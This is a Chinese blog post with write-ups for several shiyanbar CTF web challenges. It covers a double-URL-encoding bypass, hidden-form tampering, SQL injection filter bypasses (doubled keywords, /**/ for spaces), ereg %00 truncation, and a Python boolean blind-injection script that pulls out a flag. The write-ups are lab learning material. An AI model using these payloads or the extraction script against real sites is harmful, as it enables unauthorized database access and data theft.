关闭

实验吧——WriteUp&&涨姿势(2)

标签: sql注入
179人阅读 评论(1) 收藏 举报
分类:

WriteUp

  1. PHP大法
  2. Forms
  3. 简单sql注入
  4. 简单sql注入2

涨姿势

  1. Once More
  2. 简单sql注入3

PHP大法

原题

这里写图片描述

解题思路

index.php.txt代码审计

WriteUp

浏览器访问index.php.txt
http://ctf5.shiyanbar.com/DUTCTF/index.php.txt

这里写图片描述

代码首先判断 'hackerDJ' 是否是 $_GET[id]的子串,是就退出
不然对 $_GET[id]进行urldecode
然后判断 'hackerDJ' == $_GET[id] ,相等则输出flag
所以只需对参数urlencode即可,需要注意的是需要encode两次,因为浏览器
会自动对urlencode的参数进行decode
playload
http://ctf5.shiyanbar.com/DUTCTF/index.php?id=%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61

这里写图片描述


Forms

原题

这里写图片描述

解题思路

页面源代码发现有个隐藏表单

WriteUp

隐藏表单可以利用

这里写图片描述

随便输入一个PIN,Burp Suite抓包分析

这里写图片描述

隐藏表单出现了,试试不修改直接发送

这里写图片描述

报错,那改成和PIN一样的

这里写图片描述

获取到源码

这里写图片描述

将那一串数字输入即可

这里写图片描述


简单sql注入

原题

这里写图片描述

解题思路

盲注试出过滤的关键词

WriteUp

加‘ 号报错,'=' 爆出数据,猜测查询语句为:
select name from xxx where id = ''

这里写图片描述

继续测试playload
1: 1' or exists(select * from admin) and ''='
2: 1' or exists(selectselect * fromfrom admin) and ''='
3: 1'  or  exists(selectselect  * fromfrom  admin)  andand  ''='
对应报错如下,判断双写可绕过过滤

这里写图片描述

这里写图片描述

这里写图片描述

判断表名:1'  or  exists(selectselect  *  fromfrom  flag)  andand  ''='
判断列名:1'  or  exists(selectselect  flag  fromfrom  flag)  andand  ''='
联合查询:1'  unionunion  selectselect  flag  fromfrom  flag  wherewhere  ''='

这里写图片描述


简单sql注入2

原题

解题思路

过滤了空格而已

WriteUp

playload:1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/''='

这里写图片描述


Once More

原题

这里写图片描述

解题思路

ereg()%00截断漏洞

WriteUp

根据题目要求,password只能出现字母和数字,长度小于8,值大于9999999,包含*-*
第一个要求:%00截断,隐藏后面的*-*
第二个要求:科学记数法
第三个要求:在password末尾加上*-*
playload: 1e9%00*-*

这里写图片描述

涨姿势点

ereg()的%00截断漏洞

备注

strlen()和字符串转数字还可以再看看

简单sql注入3

原题

这里写图片描述

解题思路

Bool 盲注,看是否报错确定注入代码的正确性

WriteUp

测试playload
1. 1' and exists(select * from admin) and ''='
2. 1' and exists(select flag from flag) and ''='
3. 1' and exists(select name from flag) and ''='

这里写图片描述

这里写图片描述

注入正确就显示Hello,错误则提示相应信息,所以可以根据是否输出Hello判断注入的正确性
爆出表名flag和列名flag,逐个爆flag列的字符即可
import requests
flag = ''
for i in range(1,30):
    for n in range(33,126):
         url = 'http://ctf5.shiyanbar.com/web/index_3.php?id=1%27%20and%20ascii(substr((select%20flag%20from%20flag),'+str(i)+',1))='+str(n)+'%23'
         html = requests.get(url).text
         if 'Hello' in html:
             flag += chr(n)
             break
print(flag)

涨姿势点

Bool盲注的首次接触与应用,理解了什么是Bool盲注并简单利用

2
0

查看评论
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
    个人资料
    • 访问:5472次
    • 积分:412
    • 等级:
    • 排名:千里之外
    • 原创:36篇
    • 转载:0篇
    • 译文:0篇
    • 评论:3条
    文章分类